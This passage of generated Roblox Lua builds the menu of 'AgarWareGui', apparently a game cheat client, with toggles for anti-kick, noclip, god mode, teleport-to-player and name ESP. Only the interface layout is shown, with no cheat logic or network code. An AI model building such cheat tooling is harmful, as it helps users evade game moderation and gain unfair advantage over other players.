G2L["5e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["5e"]["Name"] = [[AntiKickRow]]; G2L["5e"]["LayoutOrder"] = 2; G2L["5e"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKickRow.AntiKickTickBox G2L["5f"] = Instance.new("TextButton", G2L["5e"]); G2L["5f"]["TextSize"] = 14; G2L["5f"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["5f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["5f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["5f"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["5f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["5f"]["Text"] = [[]]; G2L["5f"]["Name"] = [[AntiKickTickBox]]; G2L["5f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKickRow.AntiKickText G2L["60"] = Instance.new("TextLabel", G2L["5e"]); G2L["60"]["BorderSizePixel"] = 0; G2L["60"]["TextSize"] = 14; G2L["60"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["60"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["60"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["60"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["60"]["BackgroundTransparency"] = 1; G2L["60"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["60"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["60"]["Text"] = [[Anti Kick (Client)]]; G2L["60"]["Name"] = [[AntiKickText]]; G2L["60"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup G2L["61"] = Instance.new("Frame", G2L["47"]); G2L["61"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["61"]["BorderMode"] = Enum.BorderMode.Middle; G2L["61"]["Size"] = UDim2.new(0, 170, 0, 164); G2L["61"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["61"]["Name"] = [[CharacterGroup]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterScript G2L["62"] = Instance.new("LocalScript", G2L["61"]); G2L["62"]["Name"] = [[CharacterScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.UIListLayout G2L["63"] = Instance.new("UIListLayout", G2L["61"]); G2L["63"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterAccentColor G2L["64"] = Instance.new("Frame", G2L["61"]); G2L["64"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["64"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["64"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["64"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["64"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["64"]["Name"] = [[CharacterAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterTitle G2L["65"] = Instance.new("TextLabel", G2L["61"]); G2L["65"]["TextWrapped"] = true; G2L["65"]["BorderSizePixel"] = 0; G2L["65"]["TextSize"] = 14; G2L["65"]["TextScaled"] = true; G2L["65"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["65"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["65"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["65"]["BackgroundTransparency"] = 0.95; G2L["65"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["65"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["65"]["Text"] = [[Character]]; G2L["65"]["LayoutOrder"] = 1; G2L["65"]["Name"] = [[CharacterTitle]]; G2L["65"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterTitle.CharacterMinimize G2L["66"] = Instance.new("TextButton", G2L["65"]); G2L["66"]["BorderSizePixel"] = 0; G2L["66"]["TextSize"] = 14; G2L["66"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["66"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["66"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["66"]["BackgroundTransparency"] = 1; G2L["66"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["66"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["66"]["Text"] = [[-]]; G2L["66"]["Name"] = [[CharacterMinimize]]; G2L["66"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.NoclipRow G2L["67"] = Instance.new("Frame", G2L["61"]); G2L["67"]["BorderSizePixel"] = 0; G2L["67"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["67"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["67"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["67"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["67"]["Name"] = [[NoclipRow]]; G2L["67"]["LayoutOrder"] = 3; G2L["67"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.NoclipRow.NoclipTickBox G2L["68"] = Instance.new("TextButton", G2L["67"]); G2L["68"]["TextSize"] = 14; G2L["68"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["68"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["68"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["68"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["68"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["68"]["Text"] = [[]]; G2L["68"]["Name"] = [[NoclipTickBox]]; G2L["68"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.NoclipRow.NoclipText G2L["69"] = Instance.new("TextLabel", G2L["67"]); G2L["69"]["BorderSizePixel"] = 0; G2L["69"]["TextSize"] = 14; G2L["69"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["69"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["69"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["69"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["69"]["BackgroundTransparency"] = 1; G2L["69"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["69"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["69"]["Text"] = [[Noclip]]; G2L["69"]["Name"] = [[NoclipText]]; G2L["69"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.FreezeAnimRow G2L["6a"] = Instance.new("Frame", G2L["61"]); G2L["6a"]["BorderSizePixel"] = 0; G2L["6a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["6a"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["6a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["6a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["6a"]["Name"] = [[FreezeAnimRow]]; G2L["6a"]["LayoutOrder"] = 3; G2L["6a"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.FreezeAnimRow.FreezeAnimTickBox G2L["6b"] = Instance.new("TextButton", G2L["6a"]); G2L["6b"]["TextSize"] = 14; G2L["6b"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["6b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["6b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["6b"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["6b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["6b"]["Text"] = [[]]; G2L["6b"]["Name"] = [[FreezeAnimTickBox]]; G2L["6b"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.FreezeAnimRow.FreezeAnimText G2L["6c"] = Instance.new("TextLabel", G2L["6a"]); G2L["6c"]["BorderSizePixel"] = 0; G2L["6c"]["TextSize"] = 14; G2L["6c"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["6c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["6c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["6c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["6c"]["BackgroundTransparency"] = 1; G2L["6c"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["6c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["6c"]["Text"] = [[Freeze Animation]]; G2L["6c"]["Name"] = [[FreezeAnimText]]; G2L["6c"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpSpawnRow G2L["6d"] = Instance.new("Frame", G2L["61"]); G2L["6d"]["BorderSizePixel"] = 0; G2L["6d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["6d"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["6d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["6d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["6d"]["Name"] = [[TpSpawnRow]]; G2L["6d"]["LayoutOrder"] = 5; G2L["6d"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpSpawnRow.TpSpawnButton G2L["6e"] = Instance.new("TextButton", G2L["6d"]); G2L["6e"]["TextSize"] = 14; G2L["6e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["6e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["6e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["6e"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["6e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["6e"]["Text"] = [[TP To Spawn]]; G2L["6e"]["Name"] = [[TpSpawnButton]]; G2L["6e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.GodModeRow G2L["6f"] = Instance.new("Frame", G2L["61"]); G2L["6f"]["BorderSizePixel"] = 0; G2L["6f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["6f"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["6f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["6f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["6f"]["Name"] = [[GodModeRow]]; G2L["6f"]["LayoutOrder"] = 3; G2L["6f"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.GodModeRow.GodModeTickBox G2L["70"] = Instance.new("TextButton", G2L["6f"]); G2L["70"]["TextSize"] = 14; G2L["70"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["70"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["70"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["70"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["70"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["70"]["Text"] = [[]]; G2L["70"]["Name"] = [[GodModeTickBox]]; G2L["70"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.GodModeRow.GodModeText G2L["71"] = Instance.new("TextLabel", G2L["6f"]); G2L["71"]["BorderSizePixel"] = 0; G2L["71"]["TextSize"] = 14; G2L["71"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["71"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["71"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["71"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["71"]["BackgroundTransparency"] = 1; G2L["71"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["71"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["71"]["Text"] = [[God Mode]]; G2L["71"]["Name"] = [[GodModeText]]; G2L["71"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow2 G2L["72"] = Instance.new("Frame", G2L["61"]); G2L["72"]["BorderSizePixel"] = 0; G2L["72"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["72"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["72"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["72"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["72"]["Name"] = [[TpPlayerRow2]]; G2L["72"]["LayoutOrder"] = 4; G2L["72"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow2.TpPlayerButton G2L["73"] = Instance.new("TextButton", G2L["72"]); G2L["73"]["TextSize"] = 14; G2L["73"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["73"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["73"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["73"]["Size"] = UDim2.new(0, 40, 0, 16); G2L["73"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["73"]["Text"] = [[TP]]; G2L["73"]["Name"] = [[TpPlayerButton]]; G2L["73"]["Position"] = UDim2.new(0.73964, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow2.TpPlayerText G2L["74"] = Instance.new("TextLabel", G2L["72"]); G2L["74"]["BorderSizePixel"] = 0; G2L["74"]["TextSize"] = 14; G2L["74"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["74"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["74"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["74"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["74"]["BackgroundTransparency"] = 1; G2L["74"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["74"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["74"]["Text"] = [[TP To Player:]]; G2L["74"]["Name"] = [[TpPlayerText]]; G2L["74"]["Position"] = UDim2.new(0.02367, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow1 G2L["75"] = Instance.new("Frame", G2L["61"]); G2L["75"]["BorderSizePixel"] = 0; G2L["75"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["75"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["75"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["75"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["75"]["Name"] = [[TpPlayerRow1]]; G2L["75"]["LayoutOrder"] = 4; G2L["75"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow1.TpPlayerScript G2L["76"] = Instance.new("LocalScript", G2L["75"]); G2L["76"]["Name"] = [[TpPlayerScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow1.TpPlayerDropdown G2L["77"] = Instance.new("TextButton", G2L["75"]); G2L["77"]["TextTransparency"] = 1; G2L["77"]["TextSize"] = 14; G2L["77"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["77"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["77"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["77"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["77"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["77"]["Text"] = [[Dropdown]]; G2L["77"]["Name"] = [[TpPlayerDropdown]]; G2L["77"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.ResetRow G2L["78"] = Instance.new("Frame", G2L["61"]); G2L["78"]["BorderSizePixel"] = 0; G2L["78"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["78"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["78"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["78"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["78"]["Name"] = [[ResetRow]]; G2L["78"]["LayoutOrder"] = 5; G2L["78"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.ResetRow.ResetScript G2L["79"] = Instance.new("LocalScript", G2L["78"]); G2L["79"]["Name"] = [[ResetScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.ResetRow.ResetButton G2L["7a"] = Instance.new("TextButton", G2L["78"]); G2L["7a"]["TextSize"] = 14; G2L["7a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["7a"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["7a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["7a"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["7a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["7a"]["Text"] = [[Reset Character]]; G2L["7a"]["Name"] = [[ResetButton]]; G2L["7a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage G2L["7b"] = Instance.new("ScrollingFrame", G2L["17"]); G2L["7b"]["Visible"] = false; G2L["7b"]["Active"] = true; G2L["7b"]["BorderSizePixel"] = 0; G2L["7b"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0); G2L["7b"]["Name"] = [[VisualPage]]; G2L["7b"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0); G2L["7b"]["Size"] = UDim2.new(0, 349, 0, 250); G2L["7b"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["7b"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0); G2L["7b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["7b"]["ScrollBarThickness"] = 0; G2L["7b"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide G2L["7c"] = Instance.new("Frame", G2L["7b"]); G2L["7c"]["BorderSizePixel"] = 0; G2L["7c"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["7c"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["7c"]["Position"] = UDim2.new(0, 0, 0.00439, 0); G2L["7c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["7c"]["Name"] = [[VisualLeftSide]]; G2L["7c"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.UIListLayout G2L["7d"] = Instance.new("UIListLayout", G2L["7c"]); G2L["7d"]["Padding"] = UDim.new(0, 7); G2L["7d"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup G2L["7e"] = Instance.new("Frame", G2L["7c"]); G2L["7e"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["7e"]["BorderMode"] = Enum.BorderMode.Middle; G2L["7e"]["Size"] = UDim2.new(0, 170, 0, 103); G2L["7e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["7e"]["Name"] = [[ESPGroup]]; G2L["7e"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPScript G2L["7f"] = Instance.new("LocalScript", G2L["7e"]); G2L["7f"]["Name"] = [[ESPScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.UIListLayout G2L["80"] = Instance.new("UIListLayout", G2L["7e"]); G2L["80"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPAccentColor G2L["81"] = Instance.new("Frame", G2L["7e"]); G2L["81"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["81"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["81"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["81"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["81"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["81"]["Name"] = [[ESPAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPTitle G2L["82"] = Instance.new("TextLabel", G2L["7e"]); G2L["82"]["TextWrapped"] = true; G2L["82"]["BorderSizePixel"] = 0; G2L["82"]["TextSize"] = 14; G2L["82"]["TextScaled"] = true; G2L["82"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["82"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["82"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["82"]["BackgroundTransparency"] = 0.95; G2L["82"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["82"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["82"]["Text"] = [[ESP]]; G2L["82"]["LayoutOrder"] = 1; G2L["82"]["Name"] = [[ESPTitle]]; G2L["82"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPTitle.ESPMinimize G2L["83"] = Instance.new("TextButton", G2L["82"]); G2L["83"]["BorderSizePixel"] = 0; G2L["83"]["TextSize"] = 14; G2L["83"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["83"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["83"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["83"]["BackgroundTransparency"] = 1; G2L["83"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["83"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["83"]["Text"] = [[-]]; G2L["83"]["Name"] = [[ESPMinimize]]; G2L["83"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow G2L["84"] = Instance.new("Frame", G2L["7e"]); G2L["84"]["BorderSizePixel"] = 0; G2L["84"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["84"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["84"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["84"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["84"]["Name"] = [[ESPNameRow]]; G2L["84"]["LayoutOrder"] = 2; G2L["84"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow.ESPNameScript G2L["85"] = Instance.new("LocalScript", G2L["84"]); G2L["85"]["Name"] = [[ESPNameScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow.ESPNameTickBox G2L["86"] = Instance.new("TextButton", G2L["84"]); G2L["86"]["TextSize"] = 14; G2L["86"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["86"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["86"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["86"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["86"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["86"]["Text"] = [[]]; G2L["86"]["Name"] = [[ESPNameTickBox]]; G2L["86"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow.ESPNameText G2L["87"] = Instance.new("TextLabel", G2L["84"]); G2L["87"]["BorderSizePixel"] = 0; G2L["87"]["TextSize"] = 14; G2L["87"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["87"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["87"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["87"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["87"]["BackgroundTransparency"] = 1; G2L["87"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["87"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["87"]["Text"] = [[Name ESP]]; G2L["87"]["Name"] = [[ESPNameText]]; G2L["87"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow G2L["88"] = Instance.new("Frame", G2L["7e"]); G2L["88"]["BorderSizePixel"] = 0; G2L["88"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["88"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["88"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["88"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["88"]["Name"] = [[ESPMaxDistRow]]; G2L["88"]["LayoutOrder"] = 2; G2L["88"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDistScript G2L["89"] = Instance.new("LocalScript", G2L["88"]); G2L["89"]["Name"] = [[ESPMaxDistScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDistTickBox G2L["8a"] = Instance.new("TextButton", G2L["88"]); G2L["8a"]["TextSize"] = 14; G2L["8a"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["8a"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["8a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["8a"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["8a"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["8a"]["Text"] = [[?]]; G2L["8a"]["Name"] = [[ESPMaxDistTickBox]]; G2L["8a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow.ESPMaxDIstText G2L["8b"] = Instance.new("TextLabel", G2L["88"]); G2L["8b"]["BorderSizePixel"] = 0; G2L["8b"]["TextSize"] = 14; G2L["8b"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["8b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["8b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["8b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["8b"]["BackgroundTransparency"] = 1; G2L["8b"]["Size"] = UDim2.new(0, 88, 